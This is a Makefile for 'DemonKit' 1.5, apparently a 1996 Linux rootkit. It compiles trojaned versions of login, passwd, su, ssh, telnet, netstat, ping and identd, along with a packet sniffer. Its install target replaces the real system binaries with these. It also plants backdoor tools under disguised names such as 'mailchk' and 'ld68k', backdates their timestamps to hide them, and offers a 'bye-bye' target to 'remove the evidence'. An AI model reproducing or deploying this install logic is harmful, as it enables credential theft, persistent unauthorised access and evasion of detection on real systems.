# DemonKit Makefile for version 1.5

# A Guild Corporation Production, 1996
# daemon9


KOMPILER = gcc
KFLAGS = -O2 	
DEFINES = 
LDFLAGS = 
MAKE = make
#BIN = /bin/
#USBIN = /usr/sbin/
#UBIN = /usr/bin/
#ULBIN = /usr/local/bin/
# debugging
BIN = /root/Temp/
USBIN = /root/Temp/
UBIN = /root/Temp/
ULBIN = /root/Temp/

h00ker:
	@echo ""
	@echo "Linux DemonKit Makefile"
	@echo ""
	@echo "'make IveFallen...'	some tips on editting the toplevel Makefile."
	@echo "'make all'		compile all of the programs."
	@echo "'make <progname>'	compile a single program." 
	@echo "'make install'		install them in their homes."
	@echo "'make clean'		clean house."
	@echo "'make bye-bye'		remove the evidence."
	@echo ""
	@echo "daemon9&&alhambra"
	@echo ""
	@echo "1996 Guild Coporation"
	@echo ""

IveFallen...:
	less ./.strukshuns

all: banish identd regular ping telnet netstat socketDemon splitvtX ssh handyman snif-snif shadow
#inetd
#TCPd
#PGP

banish:
	$(KOMPILER) $(KFLAGS) Banish/banish.c -o Banish/banish
	strip Banish/banish
identd: 
	cd DemonIdentd; $(MAKE) linux
	strip DemonIdentd/in.identd
#NOT IMPLEMENTED YET
#inetd:
#	cd DemonInetd; $(MAKE) inetd
#	strip DemonInetd/inetd
handyman:	
	$(KOMPILER) $(KFLAGS) HandyMan/handyman.c -o HandyMan/handyman
# Regular Suite:
regular:
	$(KOMPILER) $(KFLAGS) DemonLogin/login.c -o DemonLogin/login
	$(KOMPILER) $(KFLAGS) DemonLogin/rot47.c -o DemonLogin/rot47
	strip DemonLogin/login
#NOT IMPLEMENTED YET
#su:
#passwd:

# Shadow Suite:
shadow:
	cd DemonShadow; $(MAKE) login
	strip DemonShadow/login
	cd DemonShadow; $(MAKE) passwd
	strip DemonShadow/passwd
	cd DemonShadow; $(MAKE) su
	strip DemonShadow/su
	cd DemonShadow; $(MAKE) chfn
	strip DemonShadow/chfn
	cd DemonShadow; $(MAKE) chsh
	strip DemonShadow/chsh
#NOT IMPLEMENTED YET
#pgp:
#	cd DemonPGP/src; $(MAKE) linux
#	strip DemonPGP/src/pgp
ping:
	$(KOMPILER) $(KFLAGS) DemonPing/ping.c -o DemonPing/ping
	strip DemonPing/ping
#NOT IMPLEMENTED YET
#TCPd:
#	cd DemonTCPd; $(MAKE) linux
#	strip DemonTCPd/tcpd
telnet:
	cd DemonTelnet; $(MAKE)
	strip DemonTelnet/telnet
netstat:
	cd Netstat; $(MAKE)
	strip Netstat/netstat
socketDemon:
	cd SocketDemon; $(MAKE)
	strip SocketDemon/socd
splitvtX:
	$(KOMPILER) $(KFLAGS) Splitvt/egg.c -o Splitvt/eggie
	strip Splitvt/eggie
ssh:
	cd DemonSSH; ./configure; $(MAKE) ssh
	strip DemonSSH/ssh
snif-snif:
	cd Sniffit; $(MAKE) config; $(MAKE) linux

install:
# Shadow passwd suite or regular...?

	if [ -s /etc/shadow ]; then \
		if [ -s $(BIN)login ]; then \
			HandyMan/handyman $(BIN)login BackUps/login DemonShadow/login; \
		fi; \
		if [ -s $(UBIN)passwd ]; then \
			HandyMan/handyman $(UBIN)passwd BackUps/passwd DemonShadow/passwd; \
		fi; \
		if [ -s $(UBIN)su ]; then \
			HandyMan/handyman $(UBIN)su BackUps/su DemonPasswd/su; \
		fi; \
		if [ -s $(UBIN)chfn ]; then \
			HandyMan/handyman $(UBIN)chfn BackUps/chfn DemonPasswd/chfn; \
		fi; \
		if [ -s $(UBIN)chsh ]; then \
			HandyMan/handyman $(UBIN)chsh BackUps/chsh DemonPasswd/chsh; \
		fi; \
	else \
		if [ -s $(BIN)login ]; then \
			HandyMan/handyman $(BIN)login BackUps/login DemonLogin/login; \
		fi; \
	fi;
	
	if [ -s $(BIN)netstat ]; then HandyMan/handyman $(BIN)netstat BackUps/netstat Netstat/netstat; fi
	if [ -s $(BIN)ping ]; then HandyMan/handyman $(BIN)ping BackUps/ping DemonPing/ping; fi
#NOT IMPLEMENTED YET
#       if [ -s $(ULBIN)pgp ]; then HandyMan/handyman $(ULBIN)pgp BackUps/pgp DemonPGP/src/pgp; fi
	if [ -s $(BIN)telnet ]; then HandyMan/handyman $(BIN)telnet BackUps/telnet DemonTelnet/telnet; fi
#NOT IMPLEMENTED YET
#	if [ -s $(USBIN)inetd ]; then HandyMan/handyman $(USBIN)inetd BackUps/inetd DemonInetd/inetd; fi
	if [ -s $(USBIN)in.identd ]; then HandyMan/handyman $(USBIN)in.identd BackUps/in.identd DemonIdentd/in.identd; fi
#NOT IMPLEMENTED YET
#	if [ -s $(USBIN)tcpd ]; then HandyMan/handyman $(USBIN)tcpd BackUps/tcpd DemonTCPd/tcpd; fi
	if [ -s $(ULBIN)ssh ]; then HandyMan/handyman $(ULBIN)ssh BackUps/ssh DemonSSH/ssh; fi

	install -m755 -oroot -gbin SocketDemon/socd $(UBIN)/dlook
	touch -t 050200001995 $(UBIN)/dlook
	install -m755 -oroot -gbin Splitvt/eggie $(UBIN)/getdmap
	touch -t 050200001995 $(UBIN)/getmap
	install -m755 -oroot -groot Banish/banish $(UBIN)/mailchk
	touch -t 050200001995 $(UBIN)/mailchk
	install -m755 -oroot -groot Sniffit/sniffit $(UBIN)/ld68k
	touch -t 050200001995 $(UBIN)/ld68k
	touch /dev/ptqz	

clean:
	cd DemonTelnet; $(MAKE) clean
	cd Netstat; $(MAKE) clean
	cd SocketDemon; $(MAKE) clean
	cd DemonSSH; $(MAKE) clean
	cd DemonShadow; $(MAKE) nuke
	cd Sniffit; $(MAKE) clean
	cd DemonIdentd;	$(MAKE) clean
#NOT IMPLEMENTED YET
#	cd DemonInetd; $(MAKE) clean
#NOT IMPLEMENTED YET
#	cd DemonTCPd; $(MAKE) clean
#NOT IMPLEMENTED YET
#	cd DemonPGP/src; $(MAKE) clean
	rm -rf Banish/banish
	rm -rf Banish/*.o
	rm -rf HandyMan/handyman
	rm -rf HandyMan/*.o
	rm -rf DemonLogin/login
	rm -rf DemonLogin/rot47
	rm -rf DemonLogin/*.o
	rm -rf DemonPing/ping
	rm -rf DemonPing/*.o
	rm -rf Splitvt/eggie
	rm -rf Splitvt/*.o
	rm -rf BackUps/*
bye-bye:
	@echo "No more DemonKit Sources..."
	cd..;rm -rf DemonKit
